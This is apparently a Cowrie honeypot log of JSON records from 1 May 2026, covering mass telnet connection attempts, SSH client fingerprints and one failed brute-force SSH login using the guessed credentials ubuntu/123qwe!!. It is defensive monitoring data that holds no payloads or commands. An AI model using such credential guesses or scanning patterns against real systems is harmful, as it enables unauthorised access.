{"eventid":"cowrie.session.closed","duration":31.71450114250183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:57.135656Z","src_ip":"51.161.172.108","session":"5f28dbdea304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40912652015686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:57.165344Z","src_ip":"51.161.172.108","session":"e31013e91d62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53816270828247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:57.171824Z","src_ip":"51.161.172.108","session":"76d59f7e10c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32890,"dst_ip":"159.203.135.109","dst_port":23,"session":"a54d86122320","protocol":"telnet","message":"New connection: 51.161.172.108:32890 (159.203.135.109:23) [session: a54d86122320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:57.404651Z"}
{"eventid":"cowrie.session.closed","duration":31.54905414581299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:57.535017Z","src_ip":"51.161.172.108","session":"13041e970d46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26345133781433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.121732Z","src_ip":"51.161.172.108","session":"8470df6379e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.651118516921997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.127102Z","src_ip":"51.161.172.108","session":"b86ffb984d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32900,"dst_ip":"159.203.135.109","dst_port":23,"session":"492e48f62f40","protocol":"telnet","message":"New connection: 51.161.172.108:32900 (159.203.135.109:23) [session: 492e48f62f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.268107Z"}
{"eventid":"cowrie.session.closed","duration":31.28220009803772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.323997Z","src_ip":"51.161.172.108","session":"be895cbf5f0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834325790405273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.409924Z","src_ip":"51.161.172.108","session":"dc00d84b35da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87266492843628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.577749Z","src_ip":"51.161.172.108","session":"253d1474ac4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32908,"dst_ip":"159.203.135.109","dst_port":23,"session":"2309e949280b","protocol":"telnet","message":"New connection: 51.161.172.108:32908 (159.203.135.109:23) [session: 2309e949280b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.622963Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32922,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e5600bcb2e","protocol":"telnet","message":"New connection: 51.161.172.108:32922 (159.203.135.109:23) [session: f8e5600bcb2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.761686Z"}
{"eventid":"cowrie.session.closed","duration":31.54986023902893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.857936Z","src_ip":"51.161.172.108","session":"41c4b07ebed3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32932,"dst_ip":"159.203.135.109","dst_port":23,"session":"7567e60199fe","protocol":"telnet","message":"New connection: 51.161.172.108:32932 (159.203.135.109:23) [session: 7567e60199fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:58.972982Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":32944,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c95de842fe6","protocol":"telnet","message":"New connection: 51.161.172.108:32944 (159.203.135.109:23) [session: 8c95de842fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.112995Z"}
{"eventid":"cowrie.session.closed","duration":30.686105966567993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.217817Z","src_ip":"51.161.172.108","session":"ea966a6129aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.500707626342773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.524244Z","src_ip":"51.161.172.108","session":"74395b4a5b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83072805404663,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.561244Z","src_ip":"167.99.38.72","session":"908f0b281d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24530291557312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.675524Z","src_ip":"51.161.172.108","session":"d544335fd4de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37172,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58f5dab2902","protocol":"telnet","message":"New connection: 51.161.172.108:37172 (159.203.135.109:23) [session: c58f5dab2902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.785702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.797177Z","src_ip":"122.168.114.167","session":"44bdea01a250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.821263Z","src_ip":"122.168.114.167","session":"44bdea01a250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.69903326034546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:59.827586Z","src_ip":"51.161.172.108","session":"9edba9a9795d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21952486038208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:00.024978Z","src_ip":"51.161.172.108","session":"6cdcf03ca91a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872437953948975,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:00.198267Z","src_ip":"51.161.172.108","session":"d2618e3b7699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16427230834961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:00.402384Z","src_ip":"51.161.172.108","session":"791931099dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783855676651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:00.468451Z","src_ip":"51.161.172.108","session":"6c4897bcceff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.66884517669678,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:00.543155Z","src_ip":"185.26.126.47","session":"82fe5ebfd7e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.796531677246094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:00.898889Z","src_ip":"51.161.172.108","session":"c5acbd38997b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37174,"dst_ip":"159.203.135.109","dst_port":23,"session":"f93291054286","protocol":"telnet","message":"New connection: 51.161.172.108:37174 (159.203.135.109:23) [session: f93291054286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:01.147197Z"}
{"eventid":"cowrie.session.closed","duration":31.145782947540283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:01.166518Z","src_ip":"51.161.172.108","session":"52200580dd3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37190,"dst_ip":"159.203.135.109","dst_port":23,"session":"4064672cf0a3","protocol":"telnet","message":"New connection: 51.161.172.108:37190 (159.203.135.109:23) [session: 4064672cf0a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:01.423662Z"}
{"eventid":"cowrie.session.closed","duration":31.15475106239319,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:01.476679Z","src_ip":"51.161.172.108","session":"5cadc46869c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.492281913757324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:01.670678Z","src_ip":"51.161.172.108","session":"f12c29b79cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21237277984619,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:01.780513Z","src_ip":"51.161.172.108","session":"fdb4d84e4570","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63347601890564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:01.889520Z","src_ip":"51.161.172.108","session":"ae43b3bc1b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37200,"dst_ip":"159.203.135.109","dst_port":23,"session":"876f0023f850","protocol":"telnet","message":"New connection: 51.161.172.108:37200 (159.203.135.109:23) [session: 876f0023f850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:02.256692Z"}
{"eventid":"cowrie.session.closed","duration":31.27941370010376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:02.339636Z","src_ip":"51.161.172.108","session":"44343e9ee37a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33626413345337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:02.371784Z","src_ip":"51.161.172.108","session":"6ab7b2fddbe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03758192062378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:02.554785Z","src_ip":"51.161.172.108","session":"bf606e3cf8e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37208,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fb8a7defee4","protocol":"telnet","message":"New connection: 51.161.172.108:37208 (159.203.135.109:23) [session: 1fb8a7defee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:02.824127Z"}
{"eventid":"cowrie.session.closed","duration":31.434539079666138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:02.874521Z","src_ip":"51.161.172.108","session":"022e4ec34ec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37220,"dst_ip":"159.203.135.109","dst_port":23,"session":"efb9f7814041","protocol":"telnet","message":"New connection: 51.161.172.108:37220 (159.203.135.109:23) [session: efb9f7814041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.025975Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37226,"dst_ip":"159.203.135.109","dst_port":23,"session":"0919f4339e47","protocol":"telnet","message":"New connection: 51.161.172.108:37226 (159.203.135.109:23) [session: 0919f4339e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.221396Z"}
{"eventid":"cowrie.session.closed","duration":30.64015769958496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.415273Z","src_ip":"51.161.172.108","session":"61e49de427b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":48942,"dst_ip":"10.17.0.5","dst_port":22,"session":"888ac868bd48","protocol":"ssh","message":"New connection: 190.108.60.101:48942 (10.17.0.5:22) [session: 888ac868bd48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.419283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.424018Z","src_ip":"190.108.60.101","session":"888ac868bd48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.509291410446167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.450850Z","src_ip":"51.161.172.108","session":"9048a01311b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.205877542495728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.522998Z","src_ip":"51.161.172.108","session":"19162d023007","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.640630Z","src_ip":"190.108.60.101","session":"888ac868bd48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37238,"dst_ip":"159.203.135.109","dst_port":23,"session":"3747f60fa673","protocol":"telnet","message":"New connection: 51.161.172.108:37238 (159.203.135.109:23) [session: 3747f60fa673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.748054Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37252,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ebdf8c154e","protocol":"telnet","message":"New connection: 51.161.172.108:37252 (159.203.135.109:23) [session: 60ebdf8c154e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.900054Z"}
{"eventid":"cowrie.session.closed","duration":31.749269008636475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:03.992488Z","src_ip":"51.161.172.108","session":"e3cb8697d496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37262,"dst_ip":"159.203.135.109","dst_port":23,"session":"d63fab64ec78","protocol":"telnet","message":"New connection: 51.161.172.108:37262 (159.203.135.109:23) [session: d63fab64ec78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:04.363647Z"}
{"eventid":"cowrie.session.closed","duration":30.707624912261963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:04.404512Z","src_ip":"51.161.172.108","session":"da0fcfcae0a6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe!!","message":"login attempt [ubuntu/123qwe!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:04.533376Z","src_ip":"190.108.60.101","session":"888ac868bd48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37276,"dst_ip":"159.203.135.109","dst_port":23,"session":"14a677640f14","protocol":"telnet","message":"New connection: 51.161.172.108:37276 (159.203.135.109:23) [session: 14a677640f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:04.668693Z"}
{"eventid":"cowrie.session.closed","duration":36.158249855041504,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:04.697005Z","src_ip":"167.99.38.72","session":"c389c436509f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37288,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bfe74311734","protocol":"telnet","message":"New connection: 51.161.172.108:37288 (159.203.135.109:23) [session: 8bfe74311734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:04.811549Z"}
{"eventid":"cowrie.session.closed","duration":31.7205650806427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.013743Z","src_ip":"51.161.172.108","session":"e08eefced830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78331232070923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.056885Z","src_ip":"51.161.172.108","session":"abc4e744c91c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75137186050415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.179716Z","src_ip":"51.161.172.108","session":"0dba495288e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186367750167847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.191672Z","src_ip":"51.161.172.108","session":"8eaa02f45a5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27010488510132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.351433Z","src_ip":"51.161.172.108","session":"ae01077bf981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05726408958435,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.490522Z","src_ip":"51.161.172.108","session":"fc9f12b169c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.734941005706787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.646684Z","src_ip":"51.161.172.108","session":"a13a5e3e7ff1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.753591Z","src_ip":"190.108.60.101","session":"888ac868bd48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.940109729766846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:05.759604Z","src_ip":"51.161.172.108","session":"7831b21496de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37290,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1fc9789e42c","protocol":"telnet","message":"New connection: 51.161.172.108:37290 (159.203.135.109:23) [session: b1fc9789e42c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:06.087781Z"}
{"eventid":"cowrie.session.closed","duration":31.289766550064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:06.910607Z","src_ip":"51.161.172.108","session":"3616a7f71745","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37304,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b0575e18ba","protocol":"telnet","message":"New connection: 51.161.172.108:37304 (159.203.135.109:23) [session: 12b0575e18ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:07.102831Z"}
{"eventid":"cowrie.session.closed","duration":31.54161047935486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:07.145959Z","src_ip":"51.161.172.108","session":"9f44e223d38c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143004655838013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:07.211284Z","src_ip":"51.161.172.108","session":"582373b2443e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493357181549072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:07.299474Z","src_ip":"51.161.172.108","session":"cc743073ded0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.477235078811646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:07.357324Z","src_ip":"51.161.172.108","session":"c1ded4d95e21","protocol":"telnet"}
